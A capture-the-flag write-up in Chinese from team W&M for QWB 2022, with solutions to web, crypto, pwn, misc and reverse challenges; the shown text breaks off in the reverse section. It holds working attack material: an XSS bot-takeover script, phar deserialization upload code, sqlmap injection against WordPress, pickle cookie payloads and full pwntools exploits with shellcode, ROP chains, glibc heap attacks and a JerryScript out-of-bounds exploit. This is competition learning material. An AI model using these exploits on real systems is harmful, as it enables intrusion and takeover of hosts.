强网杯2022 By W&M

admin 2024年9月13日22:09:41评论19 views字数 54522阅读181分44秒阅读模式

强网杯2022 By W&M

WEB

BabyWeb

第一步 xss让bot访问

<script>
    function send(value){
        //fetch("/data?data=" + encodeURIComponent(ev.data));
        window.location.href=value
    }
    var host = "127.0.0.1:8888";
    var ws = null;
    var url = "ws://" + host + "/bot";
    ws = new WebSocket(url);
    ws.onopen = function (event) {
        //send("/ws_open_successfully")
        var msg = "changepw 114514"
        ws.send(msg);
    }
    ws.onmessage = function (ev) {
        send("/data?data=" + encodeURIComponent(ev.data));
    };
    ws.onerror = function () {
        send("/ws_error");
        console.log("connection error");
    };
    ws.onclose = function () {
        send("/ws_close");
        console.log("connection close!");
    };

</script>

admin 114514登录进入第二步

强网杯2022 By W&M

得到附件 是部分源码漏洞点是json拼接 直接把post的body减去第一个字符 { 拼上去

data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
{"product":[],"product":[{"id":1,"num":1},{"id":2,"num":1}]}

json中的同名key flask request.get_json()会认最后一个 golang json parser 会认第一个所以python部分认为购买了flag但是golang部分认为没有扣费

easyweb

必须存在demo.jpg。然后读文件

GET /showfile.php?f=php://filter/read=demo.jpg/resource=index.php HTTP/1.1
Host: 47.104.95.124:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

然后phar反序列化。

<?php

class AdminShow
{
    public $source;
    public $str;
    public $filter;

    public function __construct($a)
    {
        $this->source = $a;
    }
}
unlink("phar.phar");
$phar = new \Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new AdminShow($argv[1]));
$phar->addFromString("demo.jpg", "test");
$phar->stopBuffering();

import requests
import re
import base64
import os
import sys
os.system("php phar.php '"+sys.argv[1]+"'")
Res = requests.post(url="http://47.104.95.124:8080/upload.php",
                    files={"file": ("1.jpg", open("phar.phar", "rb").read())},
                    data={"PHP_SESSION_UPLOAD_PROGRESS": "1"},
                    headers={"Cookie": "PHPSESSID=its8c9s0lm61qtrl063s4coq63"}).text
fileName = (re.search(("\.\/(.*?)\.jpg"), Res).group(0))
Res2 = requests.get(
    url="http://47.104.95.124:8080/showfile.php?f=phar://"+fileName+"/demo.jpg").text
print(base64.b64decode(re.search("base64,(.*?) />", Res2).group(1)))

内网。10.10.10.10

强网杯2022 By W&M

强网杯2022 By W&M

crash

反序列化(原题:webtmp),用V绕过secret字符串过滤

下面这个 放cookies userdata发一遍 会500 不管他
Y19fbWFpbl9fCmFkbWluCnAwCihkcDEKVnNlY3JlXHUwMDc0CnAyClMnMTE0NTE0JwpwMwpzYi4=
然后带下面这个可以进入下一步
Cookie: userdata=gAJjYXBwClVzZXIKcQApgXEBfXECKFgIAAAAdXNlcm5hbWVxA1gFAAAAYWRtaW5xBFgFAAAAdG9rZW5xBYoI0iKe6WrPyhV1Yi4=; session=eyJwYXNzd29yZCI6IjExNDUxNCJ9.YuToTw.QR8LKy6fmmk1IyDIrbuJnV4hWcs

强网杯2022 By W&M

随便填点啥 让他504就行

强网杯2022 By W&M

easylogin

wpscan

POST /wp-admin/admin-ajax.php HTTP/1.1
Host:47.105.52.19 
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 223

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1&query_vars[tax_query][1][field]=term_taxonomy_id
sqlmap -r 1.txt --dbms=mysql -dbs -p 'query_vars[tax_query][1][terms][1]' -D moodle -T mdl_sessions --dump

用dump下来的数据库session登录8888

然后后台插件上传rce

https://github.com/HoangKien1020/Moodle_RCE

强网杯2022 By W&M

uploadpro

uploads../  目录穿越 发现opcache

http://redteam.today/2018/04/08/opcache%E7%BC%93%E5%AD%98getshell/

拿到源码以后 控制上传路径

http://eci-2ze8a4gwu348xfwqa28e.cloudeci1.ichunqiu.com?prefix=../tmp/opcache/a06090313e406ccd069625aabb3cded7/var/www/html/

先把index.php.bin下下来 拿到时间戳和system_id 然后造一个phpinfo.php.bin上传

强网杯2022 By W&M

然后访问phpinfo.php就行了

Crypto

myJWT

from pwn import *
import time
import base64

ip = "47.104.76.78"
port = 23334
sh = remote(ip, port)
context.log_level = 'debug'


sh.recvuntil("your name:")
sh.sendline("1")
sh.recvuntil("hello 1, let's start your challenge.")
sh.recvuntil("1.generate token")
sh.recvuntil("2.getflag")
sh.recvuntil(">")
sh.sendline("1")
res = sh.recv(200).decode().split(".")
print(base64.b64decode(res[1].encode("utf-8")))
sh.recvuntil("1.generate token")
sh.recvuntil("2.getflag")
sh.recvuntil(">")
sh.sendline("2")
# sh.sendline()
sh.recvuntil("your token:")
time = int(round(time.time() * 1000)+10000)
str = '{"iss":"qwb","name":"1","admin":true,"exp":'+ str(time) + '}'
print(str)
payload = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.' + base64.b64encode(str.encode("utf-8")).decode() + '.AAA='
sh.sendline(payload)
sh.recvline()

强网先锋

ASR

yafu硬分解 分别对四个因子开三次根 然后CRT起来

from Crypto.Util.number import *
from functools import reduce

n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149

p1 = 260594583349478633632570848336184053653
p2 = 225933944608558304529179430753170813347
p3 = 218566259296037866647273372633238739089
p4 = 223213222467584072959434495118689164399
assert (p1*p2*p3*p4) ** 2 == n

ans1 = [127287570627900634195349274487282947698]
ans2 = [97828969479259149226856141068289169207, 84132055525449472521332928867042183796, 43972919603849682780990360817839460344]
ans3 = [5366126490251257564421634982763999075, 54017009972585088360569997378772209006, 159183122833201520722281740271702531008]
ans4 = [61230132932186378005663689217798805559]

def CRT(a, m):
    Num=len(m)
    M=reduce(lambda x,y: x*y, m)
    Mi=[M//i for i in m]
    t=[inverse(Mi[i], m[i]) for i in range(Num)]
    x=0
    for i in range(Num):
          x+=a[i]*t[i]*Mi[i]
    return x%M

for a in ans1:
    for b in ans2:
        for c in ans3:
            for d in ans4:
                m = CRT([a, b, c, d],[p1, p2, p3, p4])
                flag = long_to_bytes(m)
                if flag.startswith(b'flag'):
                    print(flag)
                    break

polydiv

from poly2 import *
from pwn import *
import hashlib

sh = remote("123.56.86.227", 14824)
context.log_level = 'debug'

table = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
def passpow():
    rev = sh.recvuntil("XXXX+")
    suffix = sh.recv(16).decode()
    sh.recvuntil(" == ")
    res = sh.recv(64).decode()
    def f(x):
        hashresult = hashlib.sha256((x+suffix).encode()).hexdigest()
        if hashresult == res:
            return 1
        else:
            return 0
    prefix = util.iters.mbruteforce(f,table,4,'upto')
    sh.recvuntil("XXXX:")
    sh.sendline(str(prefix))

def poly_to_int(fuc):
    res = 0
    data = fuc.split(b" + ")
    for i in data:
        if i == b'1':
            res += 1
        elif i == b'x':
            res += 2
        else:
            res += 1 << int(i[2:])
    return res

passpow()
for i in range(40):
    sh.recvuntil("r(x) = ")
    polyr = sh.recvline(False)
    r = poly_to_int(polyr)
    sh.recvuntil("a(x) = ")
    polya = sh.recvline(False)
    a = poly_to_int(polya)
    sh.recvuntil("c(x) = ")
    polyc = sh.recvline(False)
    c = poly_to_int(polyc)
    base, b = r ^ c, 0
    while base != 0:
        cnt = len(bin(base)[2:]) - len(bin(a)[2:])
        base ^= a << cnt
        b += 1 << cnt
    polyb = str(Polynomial2(bin(b)[2:]))
    sh.sendline(polyb)

sh.interactive()

devnull

两个分支,thanks的分支存在栈溢出,正常运行因为fd是/dev/null进不去,但是上面的fgets可把覆盖为0。第一次read栈溢出,覆盖返回地址为leave ret同时覆盖buf指针为0x3fe560,第二次read在0x3fe560写入rop链,利用0x401350可以控制rax,0x4012d0通过rax设置mprotect参数并调用mprotect,由于之前打印了thanks\n,rdx为7,可以调用mprotect把任意地址设置为可读可写可执行。把0x3fe560所在段设置为可执行,写入rop链同时写入shellcode,执行shellcode。由于thanks分支关闭了stdout,getshell后应把flag重定位到stderr。

from pwn import *
# r = process("./devnull")
r = remote('47.94.166.51',41779)
context.log_level = 'debug'
context.arch = 'amd64'
leave_ret = 0x401354
shit = 0x3FE560
fuck_protect = 0x4012D0 
magic = 0x401350
#0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret
shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
payload = 'a' * 0x20+'a'*(0x1c-0x8)+p64(shit-0x10)+p64(shit)+p64(leave_ret)
pause()
r.sendafter("please input your filename",payload)
patload = p64(0x3fe000)*2+p64(shit+0x8) + p64(0x401350)+p64(fuck_protect)+p64(0xdeadbeef)+p64(0x3fe588)+shellcode
r.send(patload)
#cat flag >&2

WP-UM

注册用户。然后源码中有个插件能爆破文件名然后爆破出密码。后台RCE然后藏usr下还是哪有个flag

rcefile

www.zip源码泄露

传inc配合 autoloadcookie给个反序列化字符串

PWN

qwarmup

# encoding: utf-8
from pwn import *

elf = None
libc = ELF('/lib/x86_64-linux-gnu/libc.sb.6')
file_name = "./qwarmup"

# context.timeout = 1
elf = ELF('./qwarmup')
#sh = process(file_name)

context.arch = "amd64"

ld = ELF("/home/wjh/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2")
#ld = ELF("/lib64/ld-linux-x86-64.so.2")


class link_map:
    DT_JMPREL = 23
    DT_SYMTAB = 6
    DT_STRTAB = 5
    DT_VER = 50
    DT_FINI = 13
    DT_PLTGOT = 3
    DT_FINI_ARRAY = 26
    DT_FINI_ARRAYSZ = 28

    def __init__(self, offset):
        self.offset = offset

    def l_addr(self):
        return ld.address + self.offset

    def l_info(self, tag):
        return ld.address + self.offset + 0x40 + tag * 8

    def l_init_called(self):
        return self.l_addr() + 0x31C
        #return self.l_addr() + 0xdcc


class rtld_global:
    def __init__(self, offset):
        self.offset = offset

    def _base(self):
        return self.offset

    def _dl_load_lock(self):
        #return self.offset + 0x988
        #return self.offset + 0x908
        return self.offset + 0xa08

    def _dl_stack_used(self):
        return self.offset + 0x988

    def _dl_rtld_map(self):
        return self.offset + 0xA08


class io_obj:
    def __init__(self, offset):
        self.offset = offset

    def _flags(self):
        return self.offset

    def _IO_save_end(self):
        return self.offset + 0x58



elf64_sym = struct.Struct("<LBBHQQ")
elf64_rela = struct.Struct("<QQq")
# ld.address = 0x42e000 - 0x10



def set_rela_table(table):
    write(
        ld.symbols["_r_debug"],
        table,
    )

    # set reloc table to _r_debug
    write(binary_map.l_info(link_map.DT_JMPREL), p8(0xB8))


def set_sym_table(table):

    write(ld.symbols["_r_debug"] + elf64_sym.size * 3, table)
    write(binary_map.l_info(link_map.DT_SYMTAB), p8(0xB8))


def write(offset, bytes):
    for i, byte in enumerate(bytes):
        sh.send(p64(offset + i, signed=True))
        sh.send(byte)


def restore_rela_table():
    write(binary_map.l_info(link_map.DT_JMPREL), p8(0xF8))


def restore_sym_table():
    write(binary_map.l_info(link_map.DT_SYMTAB), p8(0x88))


def gmf_size(offset):
    return (offset - libc.symbols["main_arena"] + 0x8) * 2 - 0x10


# implements house of blindness to call a function
def call_fn(fn, arg=""):
    global libc_base
    write(
        binary_map.l_addr(),
        p64(fn - ld.symbols["_r_debug"], signed=True),
    )
    write(_rtld_global._dl_load_lock(), arg)
    #gdb.attach(sh, "dir ~/glibc/glibc-2.35/\n b _dl_fini")

    write(binary_map.l_init_called(), p8(0xFF))


def malloc(size):
    assert size % 2 == 0
    old_size = int((size - 100) / 2)

    file = FileStructure()
    file._IO_buf_end = old_size
    file._IO_write_ptr = old_size + 1
    file._IO_read_ptr = 0xFFFFFFFFFFFFFFFF
    file._IO_read_end = 0xFFFFFFFFFFFFFFFF
    log.hexdump(bytes(file)[:0x48])
    call_fn(libc.symbols["_IO_str_overflow"], bytes(file)[:0x48])
    raw_input()
    # make sure __rtld_mutex_unlock goes without a hitch by setting invalid _kind
    write(_rtld_global._dl_load_lock() + 0x10, p8(0xFF))
    return size


def free():
    call_fn(libc.symbols["_IO_str_finish"])


def page_boundary(size):
    return (size + 0x1000) >> 12 << 12


# global_max_fast ow implementation
page_mem_alloc = 0


def ptr_write(offset):
    global page_mem_alloc
    # use global_max_fast attack to overwrite
    write(offset, p64(0))
    size = gmf_size(offset)
    log.success(hex(offset))
    log.success(hex(size))
    A = malloc(size)


    write(libc.symbols["global_max_fast"], p64(0xFFFFFFFFFFFFFFFF))
    # write chunk header
    write(-page_boundary(A) - 8 - page_mem_alloc, p64(size | 1))
    # write fake chunk header for next check
    write(-page_boundary(A) + size - 0x8 - page_mem_alloc, p8(0x50))
    page_mem_alloc += page_boundary(A)
    # write fastbin addr
    free()
    write(libc.symbols["global_max_fast"], p64(0))
    return -page_mem_alloc


context.log_level = "debug"
ld.symbols["_GLOBAL_OFFSET_TABLE_"] = ld.address + 0x3a000
ld.symbols["_dl_fini"] = ld.address + 0x6040
libc.symbols["main_arena"] = libc.address + 0x219c80
libc.symbols["global_max_fast"] = libc.address + 0x220500
libc.symbols["_IO_str_finish"] = libc.address + 0x8f9f0
libc.symbols["_IO_str_overflow"] = libc.address + 0x8f610



#sh = process('./qwarmup')
#gdb.attach(sh, "b puts")
#gdb.attach(sh)
sh = remote('121.40.213.105', 12001)
#ld.address = 0x445000 - 0x10
ld.address = 0x42e000 - 0x10
libc.address = 0x204000 - 0x10
# binary_map = link_map(0x3b2e0)
binary_map = link_map(0x3b2e0)
ld_map = link_map(0x3aaf0)
_rtld_global = rtld_global(ld.symbols["_rtld_global"])
sh.send(p32(0x200000))
l_addr_offset = 0x000000000000408C - elf.got["write"] - 4
write(binary_map.l_addr(), p8(l_addr_offset))
set_rela_table(elf64_rela.pack(0x4018, 0x300000007, 0))
main_addr = 0x0000000000001474


set_sym_table(elf64_sym.pack(0, 0x12, 1, 0, main_addr - l_addr_offset, 0))

write(binary_map.l_info(link_map.DT_VER), p64(0))

restore_sym_table()
restore_rela_table()

write(binary_map.l_init_called(), p8(0))

write(
    ld.symbols["_GLOBAL_OFFSET_TABLE_"] + elf64_sym.size * 14,
    # elf64_sym.pack(0x166, 0x12, 0x0, 0xD, ld.symbols["_dl_fini"] - ld.address, 0xC),
    elf64_sym.pack(0x1B7, 0x12, 0x0, 0xD, ld.symbols["_dl_fini"] - ld.address, 0xC),
)
# write(ld_map.l_info(link_map.DT_SYMTAB), p8(0xE0))
write(ld_map.l_info(link_map.DT_SYMTAB), p8(0xF0))

# write(ld.symbols["_r_debug"] + 0x4B, b"_dl_x86_get_cpu_features")

write(ld.symbols["_r_debug"] + 34, "_dl_x86_get_cpu_features\x00")
write(binary_map.l_info(link_map.DT_STRTAB), p8(0xB8))
set_rela_table(elf64_rela.pack(elf.got["write"] - l_addr_offset, 0x300000007, 0))
restore_rela_table()

# ----------- house of blindness setup -----------

write(binary_map.l_addr(), p8(0))

# DT_FINI should point at _r_debug
write(binary_map.l_info(link_map.DT_FINI), p8(0xB8))
# make sure DT_FINI_ARRAY doesn't execute
write(binary_map.l_info(link_map.DT_FINI_ARRAY), p64(0))
# make sure __rtld_mutex_unlock gives up by setting invalid _kind
write(_rtld_global._dl_load_lock() + 0x10, p8(0xFF))

# ----------- fake linkmap for _dl_fixup -----------
fake_linkmap = link_map(_rtld_global._dl_load_lock() - ld.address)

call_fn(libc.symbols['puts'], 'a' * 0xa9)
ld_base = u64(sh.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - 0x61

log.success("ld_base:\t" + hex(ld_base))
libc_base = ld_base - ld.address + libc.address
log.success("libc_base:\t" + hex(libc_base))

pop_rdi_addr = libc_base + 0x2a3e5
pop_rsi_addr = libc_base + 0x2be51
pop_rdx_r12_addr = libc_base + 0x11f497
pop_rax_addr = libc_base + 0x45eb0
syscall_addr = libc_base + 0x91396
gadget_addr = 0x1675b0  # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
free_hook_addr = libc_base + 0x2204a8
malloc_hook_addr = libc_base + 0x2204a0
system_addr = libc_base + 0x50d60
bin_sh_addr = libc_base + 0x1d8698
setcontext_addr = libc_base + 0x53a30
ld_base = libc_base - libc.address + ld.address
log.success("ld_base:\t" + hex(ld_base))

frame_offset = 0
fake_frame_addr = libc_base + 0x21b000 + 0xa80 + frame_offset
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1  # : ret

rop_data = [
    pop_rax_addr,
    2,
    syscall_addr,
    pop_rax_addr,
    0,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr,
    pop_rax_addr,
    1,
    pop_rdi_addr,
    1,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr
]
payload = 'a' * 8 + p64(fake_frame_addr) + '\x00' * (0x10 + frame_offset)
payload += p64(setcontext_addr + 61) + str(frame).ljust(0xF8, '\x00')[0x28:] + 'flag'.ljust(0x10, '\x00') + flat(rop_data)
log.success("gadget_addr:\t" + hex(gadget_addr))

write(
    binary_map.l_addr(),
    p64(0),
)
#gdb.attach(sh)
libc_write = libc.address + 0x219000
libc_write_real = libc_base + 0x219000
libc.address = libc_base
write(binary_map.l_info(link_map.DT_FINI_ARRAY), p64(libc_write_real))

write(libc_write, p64(0) + p64(libc_write_real + 0x10) + p64(libc_base + gadget_addr) + p64(libc.symbols['gets']) * 2 + p64(0x18))
write(binary_map.l_info(link_map.DT_FINI_ARRAYSZ),  p64(libc_write_real + 0x20))
write(binary_map.l_init_called(), p8(0xFF))
sh.sendline('a' * 0x1000)
sh.sendline(payload)
#call_fn(libc.address + gadget_addr, payload)
sh.interactive()

house of cat

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'

binary = 'house_of_cat'
elf = ELF('house_of_cat')
libc = elf.libc
context.binary = binary
if(len(sys.argv) == 3):
    p = remote(sys.argv[1],sys.argv[2])
else:
    p = process(binary)
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
payload = "LOGIN |r00tQWXF r00t QWB QWXFadmin"
p.recv()
p.send(payload)
def start_menu():
    payload = "CAT |r00tQWXF r00t QWB QWXF${}".format(p8(0xff))
    p.recv()
    p.send(payload)
def cmd(idx):
    start_menu()
    sla("choice:",str(idx))
def add(idx,size,payload):
    cmd(1)
    sla("idx:",str(idx))
    sla("size:",str(size))
    sa("content:",payload)
def show(idx):
    cmd(3)
    sla("idx:",str(idx))
def free(idx):
    cmd(2)
    sla("idx:",str(idx))
def edit(idx,payload):
    cmd(4)
    sla('idx:',str(idx))
    sa("content:",payload)
add(0,0x440,'aaaa')
add(1,0x418,'aaaa')
add(2,0x468,'aaaa')
add(3,0x440,"flag\x00\x00\x00\x00"+ p64(0x21)*(0x438/0x8))
free(1)
free(2)
show(1)
# attach(p)
libc_base = l64() - 0x219ce0
lg("libc_base",libc_base)
printf_arginfo_table = libc_base + 0x21a8b0
printf_function_table = libc_base + 0x21b9c8
top_chunk_addr = libc_base + 0x219ce0
add(4,0x440,'a'*0x410+p64(0) + p64(0x461))
add(0x5,0x430,p64(0)*(0x350/0x8) +p64(0x1234) + p64(0x2222)+ p64(0x21)*((0x430-0x360)/0x8))
free(0)
free(2)
# free(4)
show(2)
ru("text:\n")
heap_addr = u64(p.recv(6).ljust(8,'\x00')) - 0x290
lg("heap_addr",heap_addr)
key = heap_addr >> 12
# libc_base = l64() - 0x1f2cc0
add(0x6,0x430,'aaaa')
free(4)
add(0x7,0x440,"a"*0x410 + p64(0) + p64(0x461) + p64(0)*3 + p64(printf_function_table-0x20))
free(0)
add(0x8,0x430,"aaa")
free(4)
add(0x9,0x440,"a"*0x410 + p64(0) + p64(0x461) + p64(0)*3 + p64(printf_arginfo_table-0x20))
free(0)
add(10,0x430,"aaa")
free(4)
add(11,0x440,"a"*0x410 + p64(0) + p64(0x461) + p64(0)*3 + p64(libc_base + libc.sym["_IO_2_1_stderr_"] + 96+0x8-0x20))
free(0)
add(12,0x430,"aaa")

free(4)
add(14,0x440,"a"*0x410 + p64(0) + p64(0x461) + p64(0)*3 + p64(top_chunk_addr-0x20))
free(0)

free(5)
# # payload = p64(heap_addr+0x10)#io_buf_base
payload = p64(heap_addr+0x10+0x1e6)#io_buf_end
payload += p64(0x21)*4 #size

payload += p64(heap_addr+0xb00+0xe0) #_chain
payload += p64(0x0000000000000002)+p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(0x1f5720 + libc_base)
payload += p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(0x1f2880 + libc_base)
payload += p64(0)*6
payload += p64(0x1234+ libc_base)

payload += p64(0)*5
payload += p64(heap_addr+0xb00)+p64(0) #io_write_ptr
payload += p64(heap_addr+0x10)#io_buf_base
payload += p64(heap_addr + 0x10 + 0x1e)#io_buf_end
payload += p64(0x21)*4
payload += p64(heap_addr+0xb00+0xe0*2) #_chain
payload += p64(0x0000000000000002)+p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(0x1f5720 + libc_base)
payload += p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(0x1f2880 + libc_base)
payload += p64(0)*6
payload += p64(0x1234+ libc_base)

gadget = libc_base + 0x00000000000832e7
pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000002be51 + libc_base
pop_rdx_r12 = 0x000000000011f497 + libc_base
pop_rax = 0x0000000000045eb0 + libc_base
syscall = 0x0000000000091396 + libc_base
add(15,0x430,payload.ljust(0x358,"a") + p64(libc_base+libc.sym['gets'])+p64(gadget)*2 +p64(0x31)*((0x430-0x360)/0x8))
edit(2,p64(0)*3 + p64(0)*2 + p64(0xb1))
free(15)
edit(2,p64(0)*3 + p64(heap_addr+0xb00) + p64(0) + p64(heap_addr+0x10))
# attach(p)
cmd(1)
sla("idx:",str(13))
sla("size:",str(0x46f))
rop = p64(pop_rdi)
rop += p64(0)
rop += p64(pop_rax)
rop += p64(3)
rop += p64(syscall)
rop += p64(pop_rdi)
rop += p64(heap_addr+0xf80)
rop += p64(pop_rsi)
rop += p64(0)
rop += p64(pop_rax)
rop += p64(2)
rop += p64(syscall)
rop += p64(pop_rdi)
rop += p64(0)
rop += p64(pop_rsi)
rop += p64(heap_addr+0x200)
rop += p64(pop_rdx_r12)
rop += p64(0x50)
rop += p64(0x50)
rop += p64(pop_rax)
rop += p64(0)
rop += p64(syscall)

rop += p64(pop_rdi)
rop += p64(1)
rop += p64(pop_rsi)
rop += p64(heap_addr+0x200)
rop += p64(pop_rdx_r12)
rop += p64(0x50)
rop += p64(0x50)
rop += p64(pop_rax)
rop += p64(1)
rop += p64(syscall)
p.sendline("a"*(432-0x30) + rop)
# attach(p)
p.interactive()
#__vfprintf_internal

easychain1

先编译一份jerryscript,通过bindiff来看看哪里是漏洞。

git reset --hard 0d496966
python tools/build.py --build-type=RelWithDebug --strip=off

Bug在ecma_builtin_array_prototype_object_pop

强网杯2022 By W&M

然后在网上搜了一下相关的漏洞和CTF,找到一片writeup,基本上和这题一模一样,https://www.anquanke.com/post/id/259897

a = [1];
a.pop();
print(a.length);

那么照着这篇writeup的内容,通过oob不难构造出aar和aaw。值得注意的是在调试过程中,由于调用函数和创建变量都会导致堆布局发生改变,而后oob数组和两个dataview的偏移发生改变,所以需要非常耐心的调试。

这里提供一下我是怎么做调试的,在这两个地方下断点(符号是通过bindiff对照的):

a5ae2: jerryx_print_value
710ab: ecma_builtin_array_prototype_object_pop

第一个断点会在调用print()时触发,作为这里的"SystemBreak"使用,辅助调试。第二个断点则是确定oob数组的地址所用,在第二个断点触发时,用p/x $rdi+0x10来获取oob数组的地址。

let a = [0x31];
a1 = new ArrayBuffer(0x1000);
d1 = new DataView(a1);
d1.setUint32(0, 0x41414141, true);
a2 = new ArrayBuffer(0x1000);
d2 = new DataView(a2);
d2.setUint32(0, 0x42424242, true);
a.pop();
a[0x2c] = 0x5562526;

接着,我们设置a1和a2的值分别为"AAAA"和"BBBB",这样在a.pop()时,我们可以用gdb做

search --string "AAAA" # 返回一个值
search --qword 刚才这个值

这样就可以获取到dv->buffer_p的地址,接着再去计算和oob数组开头的偏移。

除了这部分调试比较麻烦,构造aar和aaw就比较简单了:先把d1的array_p指针指向d2的array_p地址,就可以修改d2->array_p。通过修改这个值,则可以用d2来读取和写入值。有了AAR和AAW(其实AAR也不是必要的,因为aslr被关掉了),想劫持程序流就很简单了,这里我用的是泄漏environ然后做ROP。

还有一点需要注意的是exp的最后一行,由于这里我使用的是ROP,修改libc_start_main的地址,所以程序需要先正常的退出。而因为我们之前修改了d2->array_p的值,因此d2在被销毁的时候会对其ArrayBuffer做一个操作,向一个地址写值。如果这个地址是一个不可写的段,那就会报错,没法正确的执行到libc_start_main的返回地址。我也没有细究,只需要最后把d2->array_p恢复成一个可写的地址即可。

完整exp如下,在交互时需要把\n去掉,还有注释也要去掉。

function hex(i){return "0x" + i.toString(16).padStart(16, '0');}
function aar(addr, dv1, dv2){
    dv1.setBigUint64(0, addr, true);

    if(dv2.buffer){
        return dv2.getBigUint64(0, true);
    }
    return 0;
}
function aaw(addr, value, dv1, dv2){
    dv1.setBigUint64(0, addr, true);
    dv2.setBigUint64(0, value, true);
}
let a = [0x31];
a1 = new ArrayBuffer(0x1000);
d1 = new DataView(a1);
d1.setUint32(0, 0x41414141, true);
a2 = new ArrayBuffer(0x1000);
d2 = new DataView(a2);
d2.setUint32(0, 0x42424242, true);
a.pop();
a[0x2c] = 0x5562526;
puts_got            = Number(aar(0x555555621e08, d1, d2));
libc_base           = puts_got - 0x84420;
environ             = libc_base + 0x1ef600;
stack               = Number(aar(environ, d1, d2));
libc_start_main_ret = stack - 0x108;
libc_start_main     = Number(aar(libc_start_main_ret, d1, d2));
aaw(libc_start_main_ret, 0x555555554000 + 0xa9a9, d1, d2);  // pop r12, rbp
aaw(libc_start_main_ret + 8, 0, d1, d2);
aaw(libc_start_main_ret + 16, 0, d1, d2);
aaw(libc_start_main_ret + 24, libc_base + 0xe3afe, d1, d2);  // one_gadget
print(hex(puts_got));
print(hex(libc_base));
print(hex(stack));
print(hex(libc_start_main));
print(hex(Number(aar(0x555555624000, d1, d2))));

MISC

签到

问卷

谍影重重

前半部分众所周知不发了

爆破获得时间戳获得base64编码的doc,解码出来分析

获得word后直接后vt导入扫描

强网杯2022 By W&M

把api.ipify.org加密md5即可解压,获得flag文件

根据描述为gob文件,搜索了一下,gob是golang的二进制序列号数据包,了解结构后可知直接把后面的PNG FILE复制到单独hex,根据提示,说是随机内容,并且flag文件并存在一个时间,猜测是时间戳为seed进行反向shuffle随机运算

随机后的文件提取后如下:

强网杯2022 By W&M

反向shuffle随机运算脚本如下:

package main

import (
    "io/ioutil"
    "log"
    "math/rand"
    "os"
)

func main() {
    var attr []int
    var attr2 []byte
    content, err := os.ReadFile("1.png")
    if err != nil {
        log.Fatal(err)
    }
    // fmt.Println(content[1])
    rand.Seed(1658213396)
    //rand.shuffle逆运算
    for i := 0; i < len(content); i++ {
        attr = append(attr, i)
        attr2 = append(attr2, content[i])
    }
    // fmt.Println(attr)
    rand.Shuffle(len(attr), func(i, j int) {
        attr[i], attr[j] = attr[j], attr[i]
    })
    // fmt.Println(attr)
    // k := 0
    for key, v := range attr {
        attr2[v] = content[key]
    }
    // fmt.Println(attr2)
    //写入attr2
    err = ioutil.WriteFile("ffffff.png", attr2, 0644)
}

解密后获得图片

强网杯2022 By W&M

看了一圈没什么东西,直接读像素值发现透明度比较可疑,写脚本导出获得falg

from operator import length_hint
from PIL import Image

im=Image.open('flag.png')

#读取图片像素
length = im.size[0]
width = im.size[1]
print(length,width)
for i in range(width):
    for j in range(length):
        im.getpixel((j,i))
        if im.getpixel((j,i)) == (255,255,255,255):
            continue
        else:
            pixel = im.getpixel((j,i))
            if pixel[3] ==255:
                continue
            print(chr(pixel[3]),end='')

强网杯2022 By W&M

Reverse

easyapk

把so丢给IDA分析,貌似有很多无效操作的花指令,不过对F5影响不是很大,稍微调试一下就知道关键代码了。算法有两部分,首先是rot13

    v131 = *v181;
